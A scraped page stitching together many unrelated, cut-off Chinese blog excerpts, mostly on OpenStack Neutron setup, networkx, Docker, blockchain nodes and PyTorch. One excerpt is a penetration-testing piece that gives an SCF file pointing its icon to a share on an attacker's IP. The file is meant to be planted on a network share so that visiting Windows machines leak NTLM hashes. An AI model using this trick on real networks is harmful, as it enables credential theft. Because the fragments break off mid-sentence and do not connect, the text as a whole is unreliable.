一直想分享一些自己遇到的坑,但确实很多时候走的太快 很多想做的事情会被快节奏的生活冲淡, 在公司做事反而比学校还自在, 因为是悠闲的实习期... 几点小建议写在前头--xdj: 遇到问题,大多数人首先想到的是baidu,调整各种姿势(换关键词)baidu 其实有时候用bing搜索得到的效果更好 再其次试试官方文档,大多是一些英文文档,需要将问题翻译为英文,关键词即可 如果想要找开源的工具包,可以上上github,很有用的,也会有很多坑(上面也是鱼龙混杂). 回到正题: 很多人分享技术知识,都不告

关于Neutron上的三种Agent的作用: Neutron-OVS-Agent:从OVS-Plugin上接收tunnel和tunnel flow的配置,驱动OVS来建立GRE Tunnel Neutron-DHCP-Agent:为每一个配置了DHCP的网络/子网配置dnsmasq,也负责把Mac地址/IP地址 信息写入dnsmasq dhcp lease 文件 Neturon-L3-Agent:设置iptables/routing/NAT表 网络节点初始建立 [root@network01 ~

当我们用networkx生成网络时,节点之间的关系是随机的,很多时候我们生成的一个网络,存在不止一个子网,也就是说任意两个节点之间不一定连通 当我们想生成一个任意两点都能连通的网络时,就需要去判断生成的网络是不是只有一个子网,此时我们可以通过numpy的一个函数去判断 number_connected_components 这个函数返回的值代表网络中的子网个数,如果我们想生成只有一个子网的网络时,我们可以通过它来判断,以ER网络为例 while 1: er = nx.erdos_renyi_gr

可选:安装neutron网络服务节点(neutron01网络节点192.168.0.30)网络配置按照官网文档的租户自助网络 配置系统参数 echo 'net.ipv4.ip_forward = 1' >>/etc/sysctl.conf sysctl -p 安装train版yum源 yum install centos-release-openstack-train -y 安装客户端 yum install python-openstackclient -y 安装组件 yum install

部署网络服务 一:控制节点配置 1.建库建用户 mysql -u root -p CREATE DATABASE neutron; GRANT ALL PRIVILEGES ON neutron.* TO 'neutron'@'localhost' IDENTIFIED BY 'liuyao'; GRANT ALL PRIVILEGES ON neutron.* TO 'neutron'@'%' IDENTIFIED BY 'liuyao'; flush privileges; 2.keysto

版本以及源的配置和控制节点一致 1.安装完操作系统已经apt源配置完成之后,一定要执行 apt-get update root@cloud:~# mv /etc/apt/sources.list /etc/apt/sources.list.bak #备份一下原来的源 root@cloud:~# vi /etc/apt/sources.list deb http://mirrors.163.com/ubuntu/ precise main restricted universe multivers

序:OpenStack Havana 部署在Ubuntu 12.04 Server [OVS+GRE] 网络节点: 1.安装前更新系统 安装好ubuntu 12.04 Server 64bits后,进入root模式下完成配置: sudo su - 添加Havana源: #apt-get install python-software-properties #add-apt-repository cloud-archive:havana 升级系统: apt-get update apt-get u

在网络节点配置内核参数:vi /etc/sysctl.confnet.ipv4.ip_forward=1net.ipv4.conf.all.rp_filter=0net.ipv4.conf.default.rp_filter=0 在网络节点使内核参数立即生效:sysctl -p 在网络节点安装软件:yum install -y openstack-neutron openstack-neutron-ml2 openstack-neutron-openvswitch 在网络节点修改配置文件:ope

Docker 构建网络服务后本机不能访问 起因 使用tornado构建了一个服务,测试都没有问题 使用docker构建镜像,使用docker run image_name启动服务 使用浏览器访问 127.0.0.1:xxxx 失败,无法连接 排错 发现访问127的网址肯定是不行的,这简直就是秀智商,你访问本机怎么可能转发到容器中呢-- 想起来docker inspect container_id这个命令,查看了一下容器的IP,拿到IP后用同样的方式访问,发现还是无法连接,这就尴尬了 然后尝试pi

Neutron网络服务(网络节点)     目录 [隐藏]  1 参考 2 前置工作 2.1 调整内核参数 3 安装 4 配置 4.1 keystone对接 4.2 rabbitmq对接 4.3 metadata服务对接 4.4 ML2插件配置 4.5 L3-agent 4.6 DHCP-agent 5 接口配置 6 服务更新 7 服务验证 8 附加配置 8.1 共享上网 8.1.1 iptables NAT 8.1.2 虚拟路由 参考 由于硬件条件所限并结合实际网络环境,本页并不是完全按照官方

转载请注明:http://www.cnblogs.com/shangxiaofei/p/6340655.html 本文只用于理解rete算法,通过一个规则的编译成的网络结构,以及匹配过程去理解rete算法的核心思想.具体实现,截止写本文之时,还不了解.只是提供一个rete算法的实现思路.再次重申,只用于理解rete算法.如有不正确,请交流指正,一定会非常感谢. (1)规则内容 IF: 年级是三年级以上, 性别是男的, 年龄小于10岁, 身体健壮, 身高170cm以上, THEN: 这个男孩是一个

使用Allegro时改动shape的网络节点方法: ①选择shape->Select Shape or Void/Cavity ②选择要改动的shape ③点击(...)改动网络节点的名字 ④改动完毕

本文为minxihou的翻译文章,转载请注明出处Bob Hou: http://blog.csdn.net/minxihou JmilkFan:minxihou的技术博文方向是 算法&Openstack自动化 ,写得很好,值得推荐. : ) 目录 目录 单网卡的网络节点配置 1 物理网卡设置 2 Devstack配置 3 多计算节点 31 物理网络设置 4 Devstack计算节点配置 配置Open vSwith 和 networks 1 物理网络设置 2 配置服务 3 Devstack配置 注

一个新节点通过已知的节点加入到网络中,此时,它所知的网络节点信息是非常有限的,需要通过节点发现获知更多的节点,建立起足够的连接.另外,当一个新节点加入到网络时,原有网络节点也需要通过节点发现感知到新节点的加入. 分布在各地的网络节点总是会有上线离线的变化,有这就需要Fabric网络必须动态维护一个节点成员列表,这就需要节点成员管理. 一.节点发现与成员管理 1. 节点发现 一个节点要加入Fabric网络,必须要知道至少一个已知Fabric节点作为启动节点. 相关配置如下: # Gossip re

用途: 全节点:用于区块和交易的校验 轻节点:电子钱包 以太坊(Ethereum)网络是一个公共的区块链网络,网络中包含2种网络节点: 全节点 轻节点 全节点 包含了从初始区块开始的全部区块,这些区块中包含了所有的交易历史记录,这些信息是区块链完整性的证据,可用于区块和交易的校验.通常矿工节点应该是全节点. 轻节点 只包含区块头形成的链,为节省空间,去除了区块体.这些类型的节点主要用于电子钱包,电子钱包必须是轻量级的,因此不能存储整个区块链.轻节点不会用来校验区块或交易,但区块链是一个网络,如有

简单介绍 NetworkX is a Python package for the creation, manipulation, and study of the structure, dynamics, and functions of complex networks. 这个工具包对于图网络的处理非常有用,涵盖了很多算法,用法也非常友好.这里也贴出几个常用链接: NetworkX 主页 NetworkX 文档 NetworkX 文档 PDF 建议直接下一份pdf放着随时查.接下来直接说常规

ER随机网络,WS小世界网络,BA无标度网络的生成 import networkx as nx import matplotlib.pyplot as plt #ER随机网络 #10个节点,连接概率为0.6 er = nx.erdos_renyi_graph(10, 0.6) #节点在同心圆上分布 ps = nx.shell_layout(er) #在1*3的画板中显示于第一格 plt.subplot(131) plt.title('ER') nx.draw(er, ps, with_label

看到一个很有意思的算法,而且腾讯朋友圈lookalike一文中也有提及到,于是蹭一波热点,学习一下.论文是也发KDD2016 . . 一.主要论文:node2vec: Scalable Feature Learning for Networks 本节引用自 a.微博洪亮劼 :[论文每日读]node2vec: Scalable Feature Learning for Networks b.简书:node2vec: Scalable Feature Learning for Networks 本文

  收集哈希 SCF(Shell命令文件)文件可用于执行一组有限的操作,例如显示Windows桌面或打开Windows资源管理器,这并不是什么新鲜事.然而,一个SCF文件可以用来访问一个特定的UNC路径,允许渗透测试人员构建攻击.下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享. 代码: [Shell] Command=2 IconFile=\\攻击者的IP\share\pentestlab.ico [Taskbar] Command=ToggleDesktop 目标机IP:192.

Tensor Tensor是PyTorch中的重要数据结构,可认为是一个高维数组,Tensor与numpy的ndarrays类似,但Tensor可以使用GPU加速 import torch as t#import A as B,给予A库一个B的别称,帮助记忆 #构建5*3矩阵,只是分配了空间,未初始化 x=t.Tensor(5,3) print(x) print(x.size())#查看x的形状 print(x.size()[0],x.size(1))#查看列的个数,两种写法等价 print(t

Fabric区块链网络的组成  区块链网络结构图 区块链网络组成 组成区块链网络相关的节点 节点是区块链的通信主体,和区块链网络相关的节点有多种类型:客户端(应用).Peer节点.排序服务(Orderer)节点.CA节点 客户端(应用程序)节点 客户端必须连接到某一个Peer节点或者排序服务节点才可以与区块链网络通信. Peer节点 Peer节点主要负责通过执行链码(chaincode)实现对账本的读写操作 所有的Peer节点都是记账节点(Committer),负责维护状态数据和账本的副本 部